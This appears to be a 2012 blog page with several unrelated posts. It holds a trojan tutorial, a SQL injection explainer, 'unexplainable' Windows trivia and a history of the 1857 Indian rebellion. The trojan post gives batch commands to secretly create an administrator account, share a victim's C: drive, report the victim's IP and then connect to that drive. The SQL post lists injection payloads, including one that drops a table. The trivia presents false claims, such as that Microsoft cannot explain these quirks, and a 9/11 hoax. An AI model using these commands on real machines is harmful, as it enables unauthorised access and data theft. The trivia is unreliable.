Tuesday, June 12, 2012

How to Create a Trojan??? ;)



Making your own trojan in a .bat file

Open a dos prompt we will only need a dos prompt , and windows xp...

-Basics-
Opening a dos prompt -> Go to start and then execute and write  cmd and press ok

Now insert this command: net
And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
      HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
      SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?

Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:

dir
pause

And now save this as test.bat and execute it.

Funny aint it ?


---------------------- Starting -------------------
                      -:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know wich version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!

Sql Injection...



SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another



Incorrectly filtered escape characters
This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end user of the application.

The following line of code illustrates this vulnerability:

statement := "SELECT * FROM users WHERE name = '" + userName + "';"
If the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as

a' or 't'='t
renders this SQL statement by the parent language:

SELECT * FROM users WHERE name = 'a' or 't'='t';
If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of 't'='t' is always true.

On MS SQL Server any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "data" table:

a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
This input renders the final SQL statement as follows:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%';

Things that MICROSOFT Could not Explain!! And its cardy :D



MAGIC #1

Found that nobody can create a FOLDER anywhere on the Computer which can be named as "CON". This is something funny and inexplicable? At Microsoft the whole Team, couldn't answer why this happened! TRY IT NOW, IT WILL NOT CREATE A "CON" FOLDER


MAGIC #2

For those of you using Windows, do the following:
1.) Open an empty notepad file
2.) Type "Bush hid the facts" (without the quotes)
3.) Save it as whatever you want.
4.) Close it, and re-open it.
Noticed the weird bug? No one can explain!


MAGIC #3

again this is something funny and can't be explained?
At Microsoft the whole Team, including Bill Gates, couldn't answer why this happened!
It was discovered by a Brazilian. Try it out yourself?
Open Microsoft Word and type
=rand (200, 99)
And then press ENTER And see the magic?..!


Magic #4

Did you know that a flight number from one of the planes that hit one of the two WTC towers on 9/11 was Q33N. In Notepad / WordPad or MS Word, type that flight number i.e Q33N. Increase the font size to 72. Change the font to Wingdings. ..... u will be amazed by the findings!!!
— with

The first war of independence

Today we are going brush up our history ie , The first war of independence (1857).





he First War of Indian Independence is a term predominantly used in India to describe the Indian Rebellion of 1857. It is also known as the Great Rebellion, the Indian Mutiny, the Sepoy Rebellion, the Sepoy Mutiny the Revolt of 1857, and the Uprising of 1857.The event challenged and ended the power and control of British East Indian Company in India (It was replaced by nine decades of British colonial rule, known as the British Raj, until, in 1947, the India subcontinent became the independent states of India and Pakistan).During and after the war atrocities were committed by both sides. At the war's end the British showed little clemency to the insurgents and executed many thousands of them

                                                             
The Indian fight for independence against British rule began as a mutiny by sepoys of the British East India Company army on 10 May 1857, in the town of Meerut, and soon escalated into an insurgency largely confined to the upper Gangetic plain and central India, with the major hostilities confined to present-day Uttar Pradesh, Bihar, northern Madhya Pradesh, and the Delhi region. The war posed a considerable threat to Company power in that region, and the insurgence was contained only with the fall of Gwalior on 20 June 1858. Other regions of Company-controlled India — such as Bengal, the Bombay Presidency, and the Madras Presidency — remained largely calm. In Punjab, the Sikh princes backed the Company by providing both soldiers and support. The large princely states of Hyderabad, Mysore, Travancore, and Kashmir, as well as the smaller ones of Rajputana, did not join the insurgents. In some regions, such as Oudh, the war took on the attributes of a patriotic revolt against European presence.[citation needed]
Insurgent leaders, such as the Lakshmibai, the Rani of Jhansi, are now heroes in India. The war led to the dissolution of the East India Company in 1858. It also led the British to reorganise the army, the financial system and the administration in India. India was thereafter directly governed by the British Crown as the British Raj

Most historians, British as well as Indian, have described and dismissed the rising of 1857 as a ‘Sepoy Munity’ or at best ‘The Indian Mutiny’. Indian revolution is on the other hand, and national minded leaders thinkers have regarded it as a planned and organised olitical and military rising aimed at destroying the British power in India.